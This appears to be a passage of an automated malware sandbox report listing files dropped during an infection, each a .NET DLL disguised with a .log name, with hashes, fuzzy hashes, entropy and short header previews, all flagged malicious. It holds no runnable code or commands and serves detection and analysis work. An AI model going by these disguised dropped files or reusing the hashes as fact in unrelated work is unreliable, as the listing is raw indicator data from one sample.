SHA-512:	C4B5A9D66146D98D414BC84CD5C09588E2E02B800B21CE3172042AD7F48CC4AED54772D32C891A921FF102C0C3DB1FEAF52E4D4C714ABDB15F73BAEB9A6F5A39
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .................)... ...@....@.. ..............................8.....@..................................(..S....@.......................`....................................................... ............... ..H............text...4.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................)......H..............................................................................................................................................................................................NC>.$qK...X....J................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\OjpXkDnJ.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	46592
Entropy (8bit):	5.870612048031897
Encrypted:	false
SSDEEP:	768:kEXtbvrhKJukN9LCewFI4eYWza7q9GYBAfNhgi2keA1RLaew5trbNM:NhKZEq4hWO7cAfN6DdA1R9w5x
MD5:	3601048DFB8C4A69313A593E74E5A2DE
SHA1:	A36A9842EA2D43D7ED024FFB936B4E9AE6E90338
SHA-256:	F5F1BA9E344B2F2E9CF90978C6D3518DFB55B316489E360874E3A1144BAC3C05
SHA-512:	B619A3D2C5CFADDEC234471FF68F96F19CFBBB5491439C3EE3593E0B2B6F995EBDC208563CC1B04FA383A983540646D02681B0CC039595C1845FE8F7941ABB23
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...j..d...........!..................... ........@.. ....................... .......h....@.....................................S.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............K...........w.................................................................................................................................................................................$A.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\OnJqPAWm.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	294912
Entropy (8bit):	6.010605469502259
Encrypted:	false
SSDEEP:	6144:f5M1rY+WGzK4NGSAhWj1dVV6cTl06YX6w/xHtRoNF:fuzzAWlvYXDRoNF
MD5:	00574FB20124EAFD40DC945EC86CA59C
SHA1:	8B96C4B6F450E711085AE7B22517C195222ACFDF
SHA-256:	3A0C38E5DC41A8D668EBDD9368CEE89F4991350E6967A9715CAE8F36E0D032BB
SHA-512:	B578007ECDCEC0D7A3A09F7E5D681A724FE2749CB46B58F5D5C96E88CAAC03C4570BB67F47BC45F01B9A47966086CC08DACB691AA2D26AD0262DC1257F7CA837
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....x............... ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text....v... ...x.................. ..`.rsrc................z..............@..@.reloc...............~..............@..B.......................H........y...............Z..............................................P...........W...........S...........[...........Q...........Y...........U.......A...]........@..P...........X...........T.......!...\........ ..R...........Z...........V....................`..P...........W...........S...........[...........Q...........Y...........U.......a...]........`..P...........X...........T.......1...\........0..R...........Z...........V....................`..........................

C:\Users\user\Desktop\OzZYIDTF.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	34304
Entropy (8bit):	5.618776214605176
Encrypted:	false
SSDEEP:	768:TBS4lqbgy0+q1nyfBYUyxYIAmghwpgAaaY5:TDY0+q1noBhyufmgCgxa
MD5:	9B25959D6CD6097C0EF36D2496876249
SHA1:	535B4D0576746D88537D4E9B01353210D893F4D2
SHA-256:	4DBA0293B2BA9478EC0738BAD92F0E56CB7CF800B0CA4FDA8261EE2C0C91E217
SHA-512:	C6FA40C2DA5B12683F2785F688984754DF5E11B95170B628F2721A21CD9A6E392672166892B994B8996DC961893A57DAD815C959C6076AB4F91404FEF66141FA
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....~..........n.... ........@.. ...............................G....@.....................................O.................................................................................... ............... ..H............text...t\|... ...~.................. ..`.rsrc...............................@..@.reloc..............................@..B................P.......H........c...8...........b.......................................................................................................................................................................,....:;.....>..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\PCgnLZlk.log

Download File

Process:	C:\Users\user\Desktop\ZT3pxe2Tb4.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	38912
Entropy (8bit):	5.679286635687991
Encrypted:	false
SSDEEP:	768:RH9nQF3DwRvGTYLOFbL79ed5l8UNebCPncg:TyDF0PybCPn
MD5:	9E910782CA3E88B3F87826609A21A54E
SHA1:	8DBC333244620EDA5D3F1C9EAA6B924455262303
SHA-256:	3B311986251EE5A303671108AFBAF43E0255C4CAE1C26CC9600BB0C7D22D3864
SHA-512:	592981359F46BBC577BE99DEFE3E2A17998BA2882AAAA20107841BCA97C2121CB97C45BC6EDBFC3F430D31450457CD855751727922AB4BB1A3C12DA050EEC057
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................................@.................................h...S.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........k..hC...........j......................................................................................................................................................................`..~...CE.w#'..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\PEqxAxdY.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	40448
Entropy (8bit):	5.7028690200758465
Encrypted:	false
SSDEEP:	768:HjeDAXQDM/RgUK+1x85+CnTzP5KJcSdhRGPQPfnay:HjWB2CnTzUJcSdTdP/
MD5:	51B1964F31C557AE8C2B01EA164ABD9F
SHA1:	97C6E8FD1F21D644281FAF82D017969FE22423E4
SHA-256:	AF584F142A9A5A79355B212F8D7A2E3793E33FF23D50FDE591FB2F3E49BF308C
SHA-512:	5D06650D77DD2D574A31664FE9CEAD5E13941F99B2CFA8ECAD972B9E999422816E43A2BE469D9BBDF2778654C22A52656D23B9F230D2F6DF3F2305ABAE779AC3
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..."..d...........!................n.... ........@.. ....................................@.....................................S.................................................................................... ............... ..H............text...t.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................P.......H........k..@I...........k...........................................................................................................................................................................B._.@.;..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\PwAgeDiA.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	39936
Entropy (8bit):	5.660491370279985
Encrypted:	false
SSDEEP:	768:1Q8H1q0rErIq3y48wo5iJyNJZ+pkw82VhgwgKZ:brErIqxPJRkw/VOwbZ
MD5:	240E98D38E0B679F055470167D247022
SHA1:	49888CCED719AE78EE3BAE2959402749668AA1C6
SHA-256:	C200E1BE39C35F8E57A0E1E241723FDB956089BC8EAD1235042456C7A3C4AD28
SHA-512:	93C1B6396C65C9EDACEFD6606A9563935D3C1331454DA69FA75D9B1CCE4D102A5F1B27B63FC3A7E485A083D8DAB1E6C4ECD01DD3CFED9B58DA6F4E90CC4F2998
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...n..d...........!.................... ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B.......................H........q...@.......... q...........................................................................................................................................................................-\|{.3.g...p................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\QfCxRbIn.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	39936
Entropy (8bit):	5.660491370279985
Encrypted:	false
SSDEEP:	768:1Q8H1q0rErIq3y48wo5iJyNJZ+pkw82VhgwgKZ:brErIqxPJRkw/VOwbZ
MD5:	240E98D38E0B679F055470167D247022
SHA1:	49888CCED719AE78EE3BAE2959402749668AA1C6
SHA-256:	C200E1BE39C35F8E57A0E1E241723FDB956089BC8EAD1235042456C7A3C4AD28
SHA-512:	93C1B6396C65C9EDACEFD6606A9563935D3C1331454DA69FA75D9B1CCE4D102A5F1B27B63FC3A7E485A083D8DAB1E6C4ECD01DD3CFED9B58DA6F4E90CC4F2998
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...n..d...........!.................... ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B.......................H........q...@.......... q...........................................................................................................................................................................-\|{.3.g...p................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\QkEpPQey.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	5.932541123129161
Encrypted:	false
SSDEEP:	1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
MD5:	F4B38D0F95B7E844DD288B441EBC9AAF
SHA1:	9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
SHA-256:	AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
SHA-512:	2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

C:\Users\user\Desktop\QpCXcuuA.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	39936
Entropy (8bit):	5.660491370279985
Encrypted:	false
SSDEEP:	768:1Q8H1q0rErIq3y48wo5iJyNJZ+pkw82VhgwgKZ:brErIqxPJRkw/VOwbZ
MD5:	240E98D38E0B679F055470167D247022
SHA1:	49888CCED719AE78EE3BAE2959402749668AA1C6
SHA-256:	C200E1BE39C35F8E57A0E1E241723FDB956089BC8EAD1235042456C7A3C4AD28
SHA-512:	93C1B6396C65C9EDACEFD6606A9563935D3C1331454DA69FA75D9B1CCE4D102A5F1B27B63FC3A7E485A083D8DAB1E6C4ECD01DD3CFED9B58DA6F4E90CC4F2998
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...n..d...........!.................... ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B.......................H........q...@.......... q...........................................................................................................................................................................-\|{.3.g...p................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\RCCOzYeY.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	38912
Entropy (8bit):	5.679286635687991
Encrypted:	false
SSDEEP:	768:RH9nQF3DwRvGTYLOFbL79ed5l8UNebCPncg:TyDF0PybCPn
MD5:	9E910782CA3E88B3F87826609A21A54E
SHA1:	8DBC333244620EDA5D3F1C9EAA6B924455262303
SHA-256:	3B311986251EE5A303671108AFBAF43E0255C4CAE1C26CC9600BB0C7D22D3864
SHA-512:	592981359F46BBC577BE99DEFE3E2A17998BA2882AAAA20107841BCA97C2121CB97C45BC6EDBFC3F430D31450457CD855751727922AB4BB1A3C12DA050EEC057
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................................@.................................h...S.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........k..hC...........j......................................................................................................................................................................`..~...CE.w#'..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\RMCoLrQk.log

Download File

Process:	C:\Users\user\Desktop\ZT3pxe2Tb4.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	5.932541123129161
Encrypted:	false
SSDEEP:	1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
MD5:	F4B38D0F95B7E844DD288B441EBC9AAF
SHA1:	9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
SHA-256:	AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
SHA-512:	2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

C:\Users\user\Desktop\RMaOjKxV.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	33792
Entropy (8bit):	5.541771649974822
Encrypted:	false
SSDEEP:	768:VA51bYJhOlZVuS6c4UvEEXLeeG+NOInR:VJEx6f2EEbee/Bn
MD5:	2D6975FD1CC3774916D8FF75C449EE7B
SHA1:	0C3A915F80D20BFF0BB4023D86ACAF80AF30F98D
SHA-256:	75CE6EB6CDDD67D47FB7C5782F45FDC497232F87A883650BA98679F92708A986
SHA-512:	6B9792C609E0A3F729AE2F188DE49E66067E3808E5B412E6DC56A555BC95656DA62ECD07D931B05756303A65383B029E7862C04CA5EA879A3FDFB61789BD2580
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....\|............... ........@.. ....................................@.................................T...W.................................................................................... ............... ..H............text....z... ...\|.................. ..`.rsrc................~..............@..@.reloc..............................@..B........................H.......Tl...............h..h....................................................................................................................................................................aF..g~Z........................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\RMfXVWDe.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	40448
Entropy (8bit):	5.7028690200758465
Encrypted:	false
SSDEEP:	768:HjeDAXQDM/RgUK+1x85+CnTzP5KJcSdhRGPQPfnay:HjWB2CnTzUJcSdTdP/
MD5:	51B1964F31C557AE8C2B01EA164ABD9F
SHA1:	97C6E8FD1F21D644281FAF82D017969FE22423E4
SHA-256:	AF584F142A9A5A79355B212F8D7A2E3793E33FF23D50FDE591FB2F3E49BF308C
SHA-512:	5D06650D77DD2D574A31664FE9CEAD5E13941F99B2CFA8ECAD972B9E999422816E43A2BE469D9BBDF2778654C22A52656D23B9F230D2F6DF3F2305ABAE779AC3
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..."..d...........!................n.... ........@.. ....................................@.....................................S.................................................................................... ............... ..H............text...t.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................P.......H........k..@I...........k...........................................................................................................................................................................B._.@.;..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\RRcFiATg.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	342528
Entropy (8bit):	6.170134230759619
Encrypted:	false
SSDEEP:	3072:YMRFbwlz0otnh0efcZBU/fbF+pzZDrpSToDxcLQcm+xCjNS3RaCtXAOZrNM1Ge6q:uhj/zQD9SocLQDchaUXAiNM1C3HuiH
MD5:	9DADB5C8A6FD5020275C31EE6BC61D63
SHA1:	ACE09D19F7DBB98F5C844E77F29A5D86E544CCC1
SHA-256:	80E21E05386AB5BF7BCFD745146700E2A73D808CAFDE3F1DAA256D09BCF4522F
SHA-512:	EDB9F8B4A3742AFD344B3E4957CD6A8574FA82EB49B45E75627180C42B51F9C019E241D695BAF0AAA36EE6959CE297C358BC592F2EE31B0BB5EA19FEED67FC7D
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...l..d.........." .....2...........P... ...`....@.. ...................................@.................................LP..O....`............................................................................... ............... ..H............text....0... ...2.................. ..`.rsrc........`.......4..............@..@.reloc...............8..............@..B.................P......H............p..................................................................................................................................................................................GJ2....mj..R...................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\RnzHiPIs.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	85504
Entropy (8bit):	5.8769270258874755
Encrypted:	false
SSDEEP:	1536:p7Oc/sAwP1Q1wUww6vtZNthMx4SJ2ZgjlrL7BzZZmKYT:lOc/sAwP1Q1wUwhHBMx4a2iJjBzZZm9
MD5:	E9CE850DB4350471A62CC24ACB83E859
SHA1:	55CDF06C2CE88BBD94ACDE82F3FEA0D368E7DDC6
SHA-256:	7C95D3B38114E7E4126CB63AADAF80085ED5461AB0868D2365DD6A18C946EA3A
SHA-512:	9F4CBCE086D8A32FDCAEF333C4AE522074E3DF360354822AA537A434EB43FF7D79B5AF91E12FB62D57974B9ED5B4D201DDE2C22848070D920C9B7F5AE909E2CA
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....F...........e... ........@.. ...............................@....@..................................e..S.................................................................................... ............... ..H............text....E... ...F.................. ..`.rsrc................H..............@..@.reloc...............L..............@..B.................e......H.......p...(j..................................................................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k

C:\Users\user\Desktop\RraOLYZw.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	70144
Entropy (8bit):	5.909536568846014
Encrypted:	false
SSDEEP:	1536:3LM14SKtpfLarGzoQWaqaQ2n5YejqSRKnYdYPgh3c//npRwM:w7KtpTjNNn5YejqSRKnYdYPgJo/pRwM
MD5:	E4FA63649F1DBD23DE91861BB39C317D
SHA1:	25F9115FAF40EC6736FACF2288CAA9B0E6AF9366
SHA-256:	CB4CD707305733ADDFCC54A69DF54A0C8D47C312D969B3E8D38B93E18CCBD8E4
SHA-512:	C4B5A9D66146D98D414BC84CD5C09588E2E02B800B21CE3172042AD7F48CC4AED54772D32C891A921FF102C0C3DB1FEAF52E4D4C714ABDB15F73BAEB9A6F5A39
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .................)... ...@....@.. ..............................8.....@..................................(..S....@.......................`....................................................... ............... ..H............text...4.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................)......H..............................................................................................................................................................................................NC>.$qK...X....J................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\SKewgrff.log

Download File

Process:	C:\Users\user\Desktop\ZT3pxe2Tb4.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	34816
Entropy (8bit):	5.636032516496583
Encrypted:	false
SSDEEP:	384:JS7LcTqpkHdmLrBmyOLkOPXVcqTZH0uZLSHtciyBDVGehpx3ZPyp1MoCy07G7:J+CaBoXTZH0mUfoGCzpapaFy07
MD5:	996BD447A16F0A20F238A611484AFE86
SHA1:	CB0F51CE7FEEE1B5F02D3F13E60D67AF448C478D
SHA-256:	0CB182B9F8BD0804FC3BBA016926199C536BD7491BA577E089271DC1A63B07BE
SHA-512:	80924C19FAF3916DB5F71BE5723B6CB7BB7F731DBBA05B8218746F11FB9470F746B7AC581DB398E388377637811319EF8D6841504DC8EA39C510D7CFCD25184C
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...v..d...........!..................... ........@.. ...............................[....@.................................l...O.................................................................................... ............... ..H............text....~... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........b...;...........a.......................................................................................................................................................................k.X...=.%Cu..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\SbqYhYfr.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	85504
Entropy (8bit):	5.8769270258874755
Encrypted:	false
SSDEEP:	1536:p7Oc/sAwP1Q1wUww6vtZNthMx4SJ2ZgjlrL7BzZZmKYT:lOc/sAwP1Q1wUwhHBMx4a2iJjBzZZm9
MD5:	E9CE850DB4350471A62CC24ACB83E859
SHA1:	55CDF06C2CE88BBD94ACDE82F3FEA0D368E7DDC6
SHA-256:	7C95D3B38114E7E4126CB63AADAF80085ED5461AB0868D2365DD6A18C946EA3A
SHA-512:	9F4CBCE086D8A32FDCAEF333C4AE522074E3DF360354822AA537A434EB43FF7D79B5AF91E12FB62D57974B9ED5B4D201DDE2C22848070D920C9B7F5AE909E2CA
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....F...........e... ........@.. ...............................@....@..................................e..S.................................................................................... ............... ..H............text....E... ...F.................. ..`.rsrc................H..............@..@.reloc...............L..............@..B.................e......H.......p...(j..................................................................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k

C:\Users\user\Desktop\SdGfOIqy.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32256
Entropy (8bit):	5.631194486392901
Encrypted:	false
SSDEEP:	384:lP/qZmINM9WPs9Q617EsO2m2g7udB2HEsrW+a4yiym4I16Gl:lP/imaPyQ4T5dsHSt9nQ
MD5:	D8BF2A0481C0A17A634D066A711C12E9
SHA1:	7CC01A58831ED109F85B64FE4920278CEDF3E38D
SHA-256:	2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
SHA-512:	7FB4EB786528AD15DF044F16973ECA05F05F035491E9B1C350D6AA30926AAE438E98F37BE1BB80510310A91BC820BA3EDDAF7759D7D599BCDEBA0C9DF6302F60
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....v..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tt... ...v.................. ..`.rsrc................x..............@..@.reloc...............\|..............@..B................P.......H........c...1..........._..h....................................................................................................................................................................Q.1k...].~g.v................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\TCIWpNeY.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	34816
Entropy (8bit):	5.636032516496583
Encrypted:	false
SSDEEP:	384:JS7LcTqpkHdmLrBmyOLkOPXVcqTZH0uZLSHtciyBDVGehpx3ZPyp1MoCy07G7:J+CaBoXTZH0mUfoGCzpapaFy07
MD5:	996BD447A16F0A20F238A611484AFE86
SHA1:	CB0F51CE7FEEE1B5F02D3F13E60D67AF448C478D
SHA-256:	0CB182B9F8BD0804FC3BBA016926199C536BD7491BA577E089271DC1A63B07BE
SHA-512:	80924C19FAF3916DB5F71BE5723B6CB7BB7F731DBBA05B8218746F11FB9470F746B7AC581DB398E388377637811319EF8D6841504DC8EA39C510D7CFCD25184C
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...v..d...........!..................... ........@.. ...............................[....@.................................l...O.................................................................................... ............... ..H............text....~... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........b...;...........a.......................................................................................................................................................................k.X...=.%Cu..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\THFECrua.log

Download File

Process:	C:\Users\user\Desktop\ZT3pxe2Tb4.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	294912
Entropy (8bit):	6.010605469502259
Encrypted:	false
SSDEEP:	6144:f5M1rY+WGzK4NGSAhWj1dVV6cTl06YX6w/xHtRoNF:fuzzAWlvYXDRoNF
MD5:	00574FB20124EAFD40DC945EC86CA59C
SHA1:	8B96C4B6F450E711085AE7B22517C195222ACFDF
SHA-256:	3A0C38E5DC41A8D668EBDD9368CEE89F4991350E6967A9715CAE8F36E0D032BB
SHA-512:	B578007ECDCEC0D7A3A09F7E5D681A724FE2749CB46B58F5D5C96E88CAAC03C4570BB67F47BC45F01B9A47966086CC08DACB691AA2D26AD0262DC1257F7CA837
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....x............... ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text....v... ...x.................. ..`.rsrc................z..............@..@.reloc...............~..............@..B.......................H........y...............Z..............................................P...........W...........S...........[...........Q...........Y...........U.......A...]........@..P...........X...........T.......!...\........ ..R...........Z...........V....................`..P...........W...........S...........[...........Q...........Y...........U.......a...]........`..P...........X...........T.......1...\........0..R...........Z...........V....................`..........................

C:\Users\user\Desktop\TORFqFIZ.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	64000
Entropy (8bit):	5.857602289000348
Encrypted:	false
SSDEEP:	768:TDPfhHfT/9IvAgoeA2U7dtZLr6SWB6/BYklKbz4Xgs7RlkUC4M+JVvTkgny:TD3Jbf2UQoBYHfSRRRC4BvPny
MD5:	5EE7E079F998F80293B3467CE6A5B4AE
SHA1:	3C0932D48F3542E9DFB09AD9E1FF70891A038532
SHA-256:	A3AE7E97703E694C479E3B460F89C16B4A511626E351145532D1A2F3BA051779
SHA-512:	056F03CB02A8A994461A5A26C2D738EE39E5AE49462222AD4937DD1CB9F29C6567D2E368EFB7844E8779B3EB3EB5D87DACDE5E3D24DF8227194DDC2E0556FF8D
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ................N.... ... ....@.. .......................`......E.....@.....................................W.... .......................@....................................................... ............... ..H............text...T.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................0.......H...........\|...................................................................................................................................................................................7.pO`....<o ..F................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\TWBYVoif.log

Download File

